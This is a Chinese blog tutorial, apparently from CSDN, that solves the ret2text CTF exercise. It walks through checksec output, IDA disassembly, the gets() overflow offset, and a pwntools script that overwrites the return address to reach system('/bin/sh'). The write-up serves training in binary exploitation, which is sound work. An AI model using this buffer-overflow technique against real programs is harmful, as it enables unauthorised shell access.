ROP-基础-ret2text

文件下载地址:

链接:https://pan.baidu.com/s/1_zJ6U5QYokpjSiYLjiM3iA
提取码:gqrc 

0x01.checksec

  
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)


是一个32位程序。仅仅开启了堆栈不可执行。

0x02.IDA分析

查看伪码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(&s);
  printf("Maybe I will tell you next time !");
  return 0;
}

分析:

很明显gets处会发生溢出。

查看线程窗口:

看到了bin/sh,说明有系统调用,继续寻找调用的地址。

找到调用system的具体地方及地址:

查看汇编码:

.text:080485FD ; __unwind {
.text:080485FD                 push    ebp
.text:080485FE                 mov     ebp, esp
.text:08048600                 sub     esp, 28h
.text:08048603                 mov     dword ptr [esp], 0 ; timer
.text:0804860A                 call    _time
.text:0804860F                 mov     [esp], eax      ; seed
.text:08048612                 call    _srand
.text:08048617                 call    _rand
.text:0804861C                 mov     [ebp+secretcode], eax
.text:0804861F                 lea     eax, [ebp+input]
.text:08048622                 mov     [esp+4], eax
.text:08048626                 mov     dword ptr [esp], offset unk_8048760
.text:0804862D                 call    ___isoc99_scanf
.text:08048632                 mov     eax, [ebp+input]
.text:08048635                 cmp     eax, [ebp+secretcode]
.text:08048638                 jnz     short locret_8048646
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system
.text:08048646
.text:08048646 locret_8048646:                         ; CODE XREF: secure+3B↑j
.text:08048646                 leave
.text:08048647                 retn
.text:08048647 ; } // starts at 80485FD

成功找到系统调用的地址:  0x0804863A

不是下一个直接调用的原因是我们需要的是覆盖返回地址,让函数返回到系统调用的地址。

0x03.计算偏移量

已经得到系统调用的地址,接下来只需要确定我们能够控制的位置,确定偏移量,覆盖返回地址就行。

看一下字符串s:

char s; // [esp+1Ch] [ebp-64h]

可以得知分配的大小是0x64 ,也就是100个字节,接下来我们只需要计算出s到ebp的位置就行了。

方法一:直接计算

在call get处下断点:

.text:08048648 ; __unwind {
.text:08048648                 push    ebp
.text:08048649                 mov     ebp, esp
.text:0804864B                 and     esp, 0FFFFFFF0h
.text:0804864E                 add     esp, 0FFFFFF80h
.text:08048651                 mov     eax, ds:stdout@@GLIBC_2_0
.text:08048656                 mov     dword ptr [esp+0Ch], 0 ; n
.text:0804865E                 mov     dword ptr [esp+8], 2 ; modes
.text:08048666                 mov     dword ptr [esp+4], 0 ; buf
.text:0804866E                 mov     [esp], eax      ; stream
.text:08048671                 call    _setvbuf
.text:08048676                 mov     eax, ds:__bss_start
.text:0804867B                 mov     dword ptr [esp+0Ch], 0 ; n
.text:08048683                 mov     dword ptr [esp+8], 1 ; modes
.text:0804868B                 mov     dword ptr [esp+4], 0 ; buf
.text:08048693                 mov     [esp], eax      ; stream
.text:08048696                 call    _setvbuf
.text:0804869B                 mov     dword ptr [esp], offset s ; "There is something amazing here, do you"...
.text:080486A2                 call    _puts
.text:080486A7                 lea     eax, [esp+80h+s]
.text:080486AB                 mov     [esp], eax      ; s
.text:080486AE                 call    _gets
.text:080486B3                 mov     dword ptr [esp], offset format ; "Maybe I will tell you next time !"
.text:080486BA                 call    _printf
.text:080486BF                 mov     eax, 0
.text:080486C4                 leave
.text:080486C5                 retn
.text:080486C5 ; } // starts at 8048648
.text:080486C5 main            endp

看到地址是:0x080486AE

我们得到了ebp和esp的地址(这个地址是不确定的)

我们可以大概理清一下栈内的情况:

所以我们可以计算处字符串s到ebp的位置:0xffffd4f8-0xffffd470-0x1c=6c(因为esp和s的相对索引已经确定)

而ebp占四个字节,所以偏移量是0x6c+4。

方法二:pattern脚本计算得出

首先生成一段随机的150字符:

pattern create 150

0x04.EXP

##!/usr/bin/env python
from pwn import *
r=process('./ret2text')
bin_sh=p32(0x0804863A)
payload=112*'A'+bin_sh
r.sendline(payload)
r.interactive()

发布了64 篇原创文章 · 获赞 71 · 访问量 5592

猜你喜欢

转载自blog.csdn.net/ATFWUS/article/details/104555409
今日推荐